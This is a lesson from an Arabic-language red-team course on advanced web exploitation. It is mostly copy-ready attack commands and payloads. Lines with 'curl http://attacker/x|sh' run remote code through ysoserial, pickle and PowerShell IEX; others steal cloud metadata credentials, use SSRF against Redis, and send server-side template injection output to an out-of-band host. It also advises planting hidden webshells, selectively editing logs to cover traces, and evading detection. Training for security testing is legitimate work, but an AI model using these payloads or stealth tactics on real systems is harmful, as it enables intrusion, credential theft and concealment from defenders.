اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Web Red Team Deep — لما الفريق الأحمر بيشتغل بجد

سلاسل استغلال متقدمة و blind techniques و WAF bypass

المستوى
خبير
المدة
180m
الترتيب
الدرس 65 من 85
SSRFSmugglingDeserializationOAuthWAF BypassRace

مقدمة — الويب مش OWASP Top 10

تشبيه يقرّب الفكرة
انت بتفكر في الويب إزاي؟ لستة ثغرات (SQLi، XSS، CSRF) بتحفظها وبتجرّبها على كل endpoint؟ ده تفكير على ادهم. كده انت في 2014. المحترف بيشوف الويب كـ طبقات بتتفاعل بطرق متوقّعهاش حد: Browser ↔ CDN ↔ WAF ↔ Load Balancer ↔ Reverse Proxy ↔ App ↔ Cache ↔ Queue ↔ DB ↔ Microservices ↔ S3. الـ 0day الحقيقي مش في طبقة واحدة. هو في الخلاف بين طبقتين على إزاي يفهموا نفس الـ byte. اللي مش بياخد باله من الفجوة دي، مش هيلاقي حاجة محترمة. هيقعد يضرب بايلودات على parameters زي اللي بيرمي صنّارة في حمّام السباحة.

الدرس ده بيفترض إنك متمكن من OWASP Top 10 خلاص. هنا بنروح للسكة اللي orange.tw وsnyff وalbinowax وJames Kettle ساكنين فيها: request smuggling مركّب، prototype pollution → RCE، deserialization gadget chains، SSRF عن طريق cloud metadata، race conditions بـ single-packet، OAuth abuse، وWAF bypass عن طريق parser differential.

مثال واقعي: في 2021، Orange Tsai كسر ProxyShell على Exchange بسلسلة من 3 ثغرات — كل واحدة لوحدها "مش مهمة"، مع بعض = pre-auth RCE على ربع الإنترنت. ده شغل اللي بيفهم الطبقات، مش اللي بيحفظ payloads.

منهجية Red Team للويب — قبل الاستغلال

1
رسم خريطة الـ stack

قبل ما ترمي ضربة واحدة، ارسم الـ stack: مين الـ CDN؟ Cloudflare ولا Akamai ولا Fastly؟ مين الـ WAF؟ مين الـ origin server؟ ورا origin في load balancer؟ التطبيق Java ولا Node ولا Python ولا Go ولا .NET؟ كل إجابة بتفتحلك فئة ثغرات وبتقفل تانية. الاستطلاع هو نص اللعبة.

bash
# أساسيات
curl -sI https://target | head -30          # Server, X-Powered-By, CF-Ray, Via
nslookup target                               # IP، CNAME، Anycast؟
whatweb -a 4 https://target
wafw00f https://target
# هل الـ origin مكشوف؟
shodan search ssl:"target.com" -c 200          # أو crt.sh + scan IPs مباشرة
2
بصمة الـ parser stack

الـ HTTP parser اللي شغال على الـ CDN ممكن يفهم الـ Content-Length بطريقة، والـ origin يفهمها بطريقة تانية. الفرق ده هو أصل الـ request smuggling. ابعت طلبات malformed خفيفة وراقب الفرق في الردود:

bash
# طلب بـ Content-Length و Transfer-Encoding معاً
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGGG' | \
  ncat --ssl target 443
# اختلاف الردود = الـ stack vulnerable لـ desync
3
كشف الأسطح المخفية
bash
# مسارات admin، debug، API قديم
ffuf -u https://target/FUZZ -w SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,403
# JS bundles قد تكشف endpoints
linkfinder -i 'https://target/static/*.js' -o cli
# parameter discovery
arjun -u https://target/api/v2/users
# subdomain takeover
subzy run --targets subs.txt

HTTP Request Smuggling — قلب أبحاث 2019-2026

تشبيه يقرّب الفكرة
تخيل إن الـ CDN بيقرا "ده طلب واحد طوله 100 byte"، والـ origin بيقرا "دول طلبين". الـ bytes الزيادة عند الـ CDN بتبقى بداية طلب الضحية اللي جاي. إنت بتكتب جزء من طلب شخص تاني — بتختطف جلسات، بتسرق cookies، بتعدّي WAF. مش هزار. - طب يعني الـ CDNs الكبيرة مش بتظبط ده يا حضرتك؟؟ كنت مستنيك تسأل السؤال ده يا مستجد. بنسبة 99% بيظبطوا الحاجات اللي محدش لاقي فيها bug من 5 سنين. اللي مش بيظبطوه هو اللي albinowax بينشره كل سنة في DEF CON. والـ origin اللي ورا الـ CDN؟ ده عالم تاني خالص.
CL.TE الكلاسيكي
http
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

CDN يستخدم CL=13 → يمرر كل شيء. Origin يستخدم TE=chunked → يقرأ "0\\r\\n\\r\\n" كنهاية، و SMUGGLED يصبح بداية الطلب التالي.

TE.CL
http
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

العكس — CDN يأخذ TE، origin يأخذ CL. شائع مع HAProxy/Apache.

H2.CL — HTTP/2 desync

في HTTP/2 لا توجد Content-Length — لكن CDN قد يحوّل لـ HTTP/1.1 و يضيف CL خاطئة. ابعث H2 frame مع CL مكذوب → desync حقيقي.

bash
# Burp HTTP Request Smuggler extension
# أو nghttp2 لإرسال frames مخصصة
nghttp -v --header=':method: POST' --header='content-length: 0' \
  https://target -d 'XGGG'
Single-packet desync (2024+)

كشف albinowax: HTTP/1.1 keep-alive + 0.CL يعطي smuggling حتى عبر CDNs ترفض CL/TE. التحدي = توقيت TCP packet boundary.

SSRF متقدم — أكثر من جلب URL

تشبيه يقرّب الفكرة
SSRF = إنت بتخلي السيرفر يخبط على الباب نيابة عنك. السيرفر جوه الشبكة بيثق في أصحابه: cloud metadata API، Redis، databases، internal APIs. ضربة SSRF واحدة = pivot لـ ENV كاملة. الباب اللي إنت متقفل قدامك، السيرفر مفتوحله.
AWS IMDS — لا يزال يعمل ضد IMDSv1
bash
# إذا التطبيق يجلب URL من user input
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# الاسم → الـ creds
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'
# AccessKeyId + SecretAccessKey + Token → الآن أنت EC2 instance
GCP / Azure — مختلفة قليلاً
bash
# GCP — تتطلب header
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# Azure
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

إذا التطبيق يحجب IP literal، جرّب http://169.254.169.254.nip.io، DNS rebinding، أو IPv6 [::ffff:a9fe:a9fe].

Blind SSRF عبر التوقيت + DNS
bash
# لا ترى الرد؟ استخدم out-of-band
curl 'https://target/api?webhook=http://attacker.burpcollab.net/x'
# أو DNS-only: تحفيز التطبيق على resolve لـ subdomain فريد
curl 'https://target/api?host=$(uuidgen).attacker.com'
# سجل DNS hits → SSRF أُكد
Gopher / Redis SSRF
bash
# لو SSRF يقبل أي scheme
curl "https://target/fetch?url=gopher://10.0.0.5:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a..."
# تركيب أوامر Redis كاملة → كتابة مفتاح SSH أو cron job

Deserialization — RCE من سلسلة gadget

تطبيقات Java/PHP/Python/.NET/Ruby اللي بتعمل deserialize لـ input غير موثوق دي نقطة RCE كلاسيكية. الفكرة: مش بتشغّل الكود مباشرة — لأ، بتبني سلسلة من استدعاءات الـ getter/setter/magic methods (اسمها gadget chain) بتنتهي عند Runtime.exec أو system(). السلسلة دي هي ذكاء الـ exploit.

Java — ysoserial
bash
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > p.bin
curl -X POST https://target/api/object \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @p.bin

Gadgets: CommonsCollections1-7, Spring1-2, Hibernate1-2, JRMPClient. اختر بناءً على dependencies الموجودة.

.NET — ysoserial.net
bash
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "powershell IEX(IWR http://attacker/p.ps1)" -o base64
# ViewState أو Session
curl 'https://target/Default.aspx' -d "__VIEWSTATE=<base64>"
PHP — phpggc
bash
phpggc -u Laravel/RCE9 system "id" | base64 -w0
# طبق على endpoint يعمل unserialize() على cookie أو body
Python — pickle
python
import pickle, base64, os
class P:
    def __reduce__(self):
        return (os.system, ('curl http://attacker/x|sh',))
print(base64.b64encode(pickle.dumps(P())).decode())

Prototype Pollution — JS من XSS إلى RCE

تشبيه يقرّب الفكرة
في JavaScript كل object بيرث من Object.prototype. لو قدرت تعدّل في __proto__، إنت بتغيّر سلوك كل object في التطبيق — حتى الكائنات اللي لسه متعملتش. على السيرفر (Node.js)، ده بيوصلك لـ RCE من غير ما حد ياخد باله.
bash
# Client-side
curl 'https://target/api/merge?__proto__[isAdmin]=true'
# الآن أي {} = isAdmin: true

# Server-side Node.js → RCE
# لو التطبيق يستخدم child_process.spawn أو render template
curl -X POST https://target/api/profile \
  -H 'Content-Type: application/json' \
  --data '{"__proto__":{"shell":"/bin/sh","argv0":"-c","NODE_OPTIONS":"--inspect-brk=0.0.0.0:9229"}}'
# عند أول spawn → debugger مكشوف → CDP RCE

Race Conditions — Single-Packet Attack (Kettle 2023)

تشبيه يقرّب الفكرة
طلبين متطابقين بيوصلوا قبل ما الأول يخلّص الـ check → نفس العملية بتتنفذ مرتين. كلاسيكياً ده محتاج توقيت دقيق. Kettle أثبت إنك تقدر تبعت 20-30 طلب في TCP packet واحد → كلهم بيوصلوا في نفس الـ millisecond. اللعبة كانت ضد الراتر، دلوقتي مع الراتر.
bash
# Burp Suite "Send group in single packet"
# أو turbo-intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=30, pipeline=False)
    for i in range(30):
        engine.queue(target.req)
engine.openGate()  # يطلق كل الطلبات معاً

Cache Poisoning — تسليح CDN

http
# CDN يحدد الـ cache key من URL + بعض headers فقط
# لو التطبيق يعكس X-Forwarded-Host في الرد:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# Response: <link href="//attacker.com/style.css">
# CDN يخزن هذا الرد لكل الزوار التاليين على /
# = stored XSS عبر cache على homepage

التقنية الأقوى من دي: Cache Deception. /profile/x.css — التطبيق بيقدّم الـ profile (بيتجاهل .css)، الـ CDN بيخزّنه كأنه static. أي زائر هييجي بعدك هيشوف ملفك الشخصي. كارثة بصمت.

OAuth / OIDC — كيف تكسر تسجيل الدخول

  1. Open redirect على redirect_uri: إذا التطبيق يقبل redirect_uri=https://app.com.attacker.com → تصل code للمهاجم.
  2. Authorization code injection: ضحية يولّد code، أنت تُسلّمه لـ session جلسة أخرى → استلاء على حساب.
  3. state parameter مفقود → CSRF على ربط حسابات.
  4. JWT alg=none أو alg=HS256 مع public key كـ secret: jwt_tool -X i.
  5. kid/jku/x5u injection: أشر لـ JWKS مسيطَر عليه → JWT يثبَت بمفتاحك.
  6. Refresh token leakage في referer أو localStorage على XSS.
  7. PKCE bypass: لو السيرفر يقبل code بدون code_verifier → استلاء code → access.
bash
# JWT tool — اختبر الكل دفعة
jwt_tool -t https://target/api -rh "Authorization: Bearer JWT" -M at
# ابحث عن Confused Deputy: JWT signed by IdP A مقبول في app B

GraphQL — جبهة محدش فاكرها

graphql
# 1) introspection غالباً مفتوح حتى في prod
curl -X POST https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# 2) Batching attacks → bypass rate-limit على login
{"query":"mutation { l1: login(u:\"a\",p:\"1\"){t} l2: login(u:\"a\",p:\"2\"){t} ... l1000: login(...) }"}

# 3) Field-level IDOR
{ user(id: 99) { email passwordHash } }   # الـ resolver لا يفحص ownership

# 4) Nested query DoS
{ user { friends { friends { friends { ...×10 } } } } }

WAF Bypass — معركة الـ parser

الـ WAF بيشغّل regex على اللي هو فاهمه. التطبيق فاهم حاجة مختلفة شوية. الفرق ده هو سطح الـ bypass. اللعبة كلها في الـ parser differential.

ترميز مزدوج
bash
# WAF يفك URL-encode مرة. التطبيق (PHP/.NET) قد يفك مرتين.
?id=1%2527%2520OR%25201=1
# %25 → % → %27 → '
Mixed case + comments
sql
UnIoN/**/SeLeCt/**/1,2,3
# SQL parsers يقبلون كل التوليفات
JSON in URL param
bash
# WAF يفحص as URL، التطبيق يـ JSON.parse
?filter={"$gt":""}   # MongoDB injection
Body smuggling
bash
# Content-Type: text/plain → WAF يتجاهل، التطبيق يقرأ كـ JSON
curl -H 'Content-Type: text/plain' --data '{"role":"admin"}' \
  https://target/api/profile
Unicode normalization
bash
# K (FULLWIDTH K) يصبح K بعد NFKC
?cmd=%EF%BC%AB %EF%BC%A5 %EF%BC%92  # Kerberos? K E 2 ...
# مفيد ضد regex على ASCII فقط
HTTP/2 pseudo-headers

WAFs قديمة لا تفحص :authority بنفس صرامة Host. حقن قيم مختلفة → الـ origin يقرأ غير ما يقرأه WAF.

Blind exploitation — عندما لا ترى شيئاً

  1. OOB (Out-of-Band): Burp Collaborator، interactsh، DNS+HTTP+SMTP. كل subdomain فريد = مؤشر.
  2. Time-based: SLEEP(5) في SQLi، setTimeout في NoSQL، thread.sleep في Java SSTI.
  3. Boolean-based: لاحظ تغيّر طول الرد، عدد الأسطر، أو وجود/غياب كلمة معينة.
  4. Side-channel timing: hash comparison بدون constant-time → تخمين byte-by-byte.
  5. Cache-based: عملية تكلفتها cache miss تكشف وجود/عدم وجود قيمة.
bash
# مثال blind SSTI Jinja2 مع OOB
curl 'https://target/render?name={{config.__class__.__init__.__globals__["os"].popen("curl http://OOB/?$(id)").read()}}'

Post-Exploitation على الويب — بعد RCE

  1. اقرأ env vars فوراً: cat /proc/self/environ, env. DB credentials، AWS keys، JWT secrets.
  2. ابحث عن .env / config.yaml / appsettings.json داخل WORKDIR.
  3. K8s؟ cat /var/run/secrets/kubernetes.io/serviceaccount/token — قد يكون لك RBAC قوي.
  4. Cloud metadata من container: نفس IMDS يعمل من داخل pod غير مقيد.
  5. SSH keys في home، authorized_keys، known_hosts → خريطة pivot.
  6. قاعدة بيانات: استخرج users + password hashes + session tokens. المستخدمون يعيدون استخدام كلمات السر.
  7. زرع backdoor صامت: webshell مخفي في endpoint موجود (مش ملف جديد). أو git hook، أو cron.
  8. غطِّ آثارك: لا تنفّذ rm -rf /var/log — ذلك جرس إنذار. عدّل سجلات محددة.

OPSEC للمهاجم على الويب

  • متستخدمش الـ IP بتاع بيتك أبداً. VPN → VPS → target. ولو ينفع، CDN-fronted callback.
  • الـ User-Agent يطابق جمهور الهدف. متبعتش python-requests/2.28 — ده زي ما تقول "أهلاً أنا روبوت".
  • ابعد عن أنماط الفحص الجماعي. Nuclei بكل الـ templates بيشعل الـ WAF فوراً. اشتغل template by template مع --rate-limit 5.
  • تأخير يدوي على الإجراءات الحرجة. مفيش إنسان بيعمل 100 request في الثانية.
  • خبّي الـ payload في حقل مش بيتسجّل. كتير من التطبيقات بتسجّل الـ query string بس — استخدم الـ body أو الـ cookie.
  • متستخدمش burpcollaborator.net مباشرة في العمليات الحساسة. استضيف interactsh على دومين خاص بيك.
  • تنظيف post-exploitation: كل ملف رفعته، كل log عملته، كل حساب أضفته — وثّقه ثم شيله. حياتك المهنية في الترتيب.

معامل تطبيقية — تعلّم بالتجربة

  • PortSwigger Web Security Academy — أفضل مرجع تفاعلي مجاني.
  • HackTheBox / TryHackMe — مسارات web من الأساسي للخبير.
  • Bug bounty على HackerOne / Bugcrowd — برامج VDP بدون مكافأة لكنها قانونية للتدريب.
  • OWASP Juice Shop / DVWA / WebGoat — معامل محلية.
  • كتاب The Web Application Hacker's Handbook — قديم لكنه أساس لا غنى عنه.
  • أبحاث James Kettle / Orange Tsai / Sam Curry — اقرأ كل ما يكتبون.

الحماية — مرجع سريع

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.